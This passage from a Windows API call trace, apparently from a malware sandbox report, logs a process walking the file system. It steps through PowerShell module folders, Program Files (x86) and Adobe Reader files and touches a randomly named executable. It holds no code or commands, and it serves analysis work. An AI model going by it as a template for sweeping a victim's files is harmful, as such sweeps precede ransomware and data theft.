ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0186.034] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0186.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0186.034] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0186.144] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.144] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0186.144] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.144] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0186.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.145] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0186.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.145] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0186.145] FindClose (in: hFindFile=0x484a98 | out: hFindFile=0x484a98) returned 1 [0186.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.145] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0186.149] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.149] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0186.151] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.151] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0186.154] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.154] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0186.155] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0186.155] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0186.155] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0 [0186.155] FindClose (in: hFindFile=0x484ad8 | out: hFindFile=0x484ad8) returned 1 [0186.155] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0186.158] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0186.160] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.160] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1 [0186.160] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.160] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0186.160] FindClose (in: hFindFile=0x484a98 | out: hFindFile=0x484a98) returned 1 [0186.160] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0186.161] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0186.163] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.163] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0186.163] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.163] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0186.163] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.163] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0186.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.164] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 0 [0186.164] FindClose (in: hFindFile=0x484ed8 | out: hFindFile=0x484ed8) returned 1 [0186.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0186.165] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0 [0186.165] FindClose (in: hFindFile=0x4840d8 | out: hFindFile=0x4840d8) returned 1 [0186.165] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0186.165] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b19d00, ftCreationTime.dwHighDateTime=0x1d55feb, ftLastAccessTime.dwLowDateTime=0x5c2c4770, ftLastAccessTime.dwHighDateTime=0x1d5a412, ftLastWriteTime.dwLowDateTime=0x5c2c4770, ftLastWriteTime.dwHighDateTime=0x1d5a412, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="physiologyconfirmedthursday.exe", cAlternateFileName="PHYSIO~1.EXE")) returned 1 [0186.165] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0186.165] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b0b061f, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b0b061f, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0186.165] FindClose (in: hFindFile=0x484358 | out: hFindFile=0x484358) returned 1 [0186.165] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3891448 | out: hHeap=0x420000) returned 1 [0186.167] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0186.175] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0186.175] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1 [0186.235] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.235] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0186.236] FindClose (in: hFindFile=0x484ed8 | out: hFindFile=0x484ed8) returned 1 [0186.236] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.236] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0186.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.239] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0186.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.239] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0186.241] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.241] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1 [0186.243] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.243] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0 [0186.243] FindClose (in: hFindFile=0x484a98 | out: hFindFile=0x484a98) returned 1 [0186.243] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.243] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1 [0186.247] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.247] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0186.247] FindClose (in: hFindFile=0x484ed8 | out: hFindFile=0x484ed8) returned 1 [0186.247] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.247] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0186.248] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.248] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0186.249] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.249] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0186.249] FindClose (in: hFindFile=0x484a98 | out: hFindFile=0x484a98) returned 1 [0186.249] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.249] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0186.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.251] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 0 [0186.251] FindClose (in: hFindFile=0x484ed8 | out: hFindFile=0x484ed8) returned 1 [0186.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.251] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0186.256] HeapFree (in: hHeap=0x420000, 